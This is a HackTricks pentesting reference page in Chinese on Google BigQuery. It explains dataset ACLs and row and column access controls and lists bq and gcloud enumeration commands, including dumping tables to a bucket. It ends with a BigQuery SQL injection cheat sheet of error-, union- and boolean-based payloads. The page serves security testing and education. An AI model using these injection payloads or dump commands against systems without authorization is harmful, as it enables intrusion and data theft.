GCP - Bigquery Enum

支持 HackTricks

基本信息

Google Cloud BigQuery 是一种完全托管的、无服务器的企业数据仓库,提供对以 PB 为单位的数据进行分析的能力,从而有效处理大规模数据集。作为平台即服务 (PaaS),它为用户提供基础架构和工具,以便在无需手动监督的情况下进行数据管理。

它支持使用ANSI SQL进行查询。主要对象是包含数据集,表中包含 SQL 数据

加密

默认情况下使用由 Google 管理的加密密钥,尽管可以配置客户管理的加密密钥 (CMEK)。可以针对数据集和数据集中的表指定加密密钥。

过期

可以在数据集中指定过期时间,因此在此数据集中创建的任何新表将在创建后指定的天数后自动删除

外部来源

BigQuery 与其他 Google 服务深度集成。可以从存储桶、pub/sub、Google 云端硬盘、RDS 数据库等加载数据...

数据集 ACL

创建数据集时会附加ACL以授予对其的访问权限。默认情况下,将Owner权限授予创建数据集的用户,然后将Owner权限授予projectOwners组 (项目所有者)、Writer权限授予projectWriters组,以及Reader权限授予projectReaders组:

bq show --format=prettyjson <proj>:<dataset>

...
"access": [
{
"role": "WRITER",
"specialGroup": "projectWriters"
},
{
"role": "OWNER",
"specialGroup": "projectOwners"
},
{
"role": "OWNER",
"userByEmail": "gcp-admin@hacktricks.xyz"
},
{
"role": "OWNER",
"userByEmail": "support@hacktricks.xyz"
},
{
"role": "READER",
"specialGroup": "projectReaders"
}
],
...

控制表行访问

可以使用行访问策略来控制主体将能够访问表中的行。这些策略在表内部使用DDL进行定义。 访问策略定义了一个过滤器,只有与该过滤器匹配的行才能被指定的主体访问

# Create
CREATE ROW ACCESS POLICY apac_filter
ON project.dataset.my_table
GRANT TO ('user:abc@example.com')
FILTER USING (region = 'APAC');

# Update
CREATE OR REPLACE ROW ACCESS POLICY
CREATE ROW ACCESS POLICY sales_us_filter
ON project.dataset.my_table
GRANT TO ('user:john@example.com',
'group:sales-us@example.com',
'group:sales-managers@example.com')
FILTER USING (region = 'US');

# Check the Post Exploitation tricks to see how to call this from the cli
# Enumerate row policies on a table
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies

列访问控制

要在列级别限制数据访问:

  1. 定义分类和策略标签。为您的数据创建和管理分类和策略标签。https://console.cloud.google.com/bigquery/policy-tags

  2. 可选:将Data Catalog Fine-Grained Reader角色授予一个或多个主体,用于您创建的一个或多个策略标签。

  3. 将策略标签分配给您的BigQuery列。在BigQuery中,使用模式注释为您想要限制访问的每个列分配一个策略标签。

  4. 强制执行分类上的访问控制。强制执行访问控制会导致应用于分类中所有策略标签的访问限制。

  5. 管理策略标签上的访问权限。使用身份和访问管理(IAM)策略来限制对每个策略标签的访问。该策略对属于策略标签的每个列有效。

当用户在查询时尝试访问列数据时,BigQuery会检查列策略标签及其策略,以查看用户是否被授权访问数据

总结一下,要将对某些列的访问限制为某些用户,您可以在模式中为列添加标签并限制用户对标签的访问,通过强制执行对标签分类的访问控制。

要强制执行对分类的访问控制,需要启用该服务:

gcloud services enable bigquerydatapolicy.googleapis.com

可以使用以下命令查看列的标签:

bq show --schema <proj>:<dataset>.<table>

[{"name":"username","type":"STRING","mode":"NULLABLE","policyTags":{"names":["projects/.../locations/us/taxonomies/2030629149897327804/policyTags/7703453142914142277"]},"maxLength":"20"},{"name":"age","type":"INTEGER","mode":"NULLABLE"}]

枚举

# Dataset info
bq ls # List datasets
bq ls -a # List all datasets (even hidden)
bq ls <proj>:<dataset> # List tables in a dataset
bq show --format=prettyjson <proj>:<dataset> # Get info about the dataset (like ACLs)

# Tables info
bq show --format=prettyjson <proj>:<dataset>.<table> # Get table info
bq show --schema <proj>:<dataset>.<table>  # Get schema of a table

# Get entries from the table
bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
bq extract <dataset>.<table> "gs://<bucket>/table*.csv" # Use the * so it can dump everything in different files

# Insert data
bq query --nouse_legacy_sql 'INSERT INTO `digital-bonfire-410512.importeddataset.tabletest` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
bq insert dataset.table /tmp/mydata.json

# Get permissions
bq get-iam-policy <proj>:<dataset> # Get dataset IAM policy
bq show --format=prettyjson <proj>:<dataset> # Get dataset ACLs
bq get-iam-policy <proj>:<dataset>.<table> # Get table IAM policy
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies

# Taxonomies (Get the IDs from the shemas of the tables)
gcloud data-catalog taxonomies describe <taxonomi-ID> --location=<location>
gcloud data-catalog taxonomies list --location <location> #Find more
gcloud data-catalog taxonomies get-iam-policy <taxonomi-ID> --location=<location>

# Get jobs executed
bq ls --jobs=true --all=true
bq show --location=<location> show --format=prettyjson --job=true <job-id>

# Misc
bq show --encryption_service_account # Get encryption service account

BigQuery SQL注入

有关更多信息,您可以查看博客文章:https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac。这里只会提供一些细节。

注释

  • select 1#from here it is not working

  • select 1/*between those it is not working*/ 但只有初始的那个不起作用

  • select 1--from here it is not working

获取有关环境信息,例如:

  • 当前用户:select session_user()

  • 项目ID:select @@project_id

连接行:

  • 所有表名:string_agg(table_name, ', ')

获取数据集名称:

  • 项目数据集名称:

SELECT catalog_name, schema_name FROM INFORMATION_SCHEMA.SCHEMATA
  • 数据集中所有表格表格名称:

# SELECT table_name, column_name FROM <proj-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS

SELECT table_name, column_name FROM <project-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS
  • 同一项目中的其他数据集:

SELECT catalog_name, schema_name, FROM <proj-name>.INFORMATION_SCHEMA.SCHEMATA

SELECT catalog_name, schema_name, NULL FROM <project-name>.INFORMATION_SCHEMA.SCHEMATA

SQL注入类型:

  • 基于错误的 - 强制转换: select CAST(@@project_id AS INT64)

  • 基于错误的 - 除以零: ' OR if(1/(length((select('a')))-1)=1,true,false) OR '

  • 基于联合的 (在bigquery中需要使用ALL): UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#

  • 基于布尔的: ' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#

  • 潜在基于时间的 - 使用公共数据集示例: SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000

文档:

权限提升和后渗透

GCP - BigQuery Privesc

持久性

GCP - BigQuery Persistence

参考资料

支持HackTricks

Last updated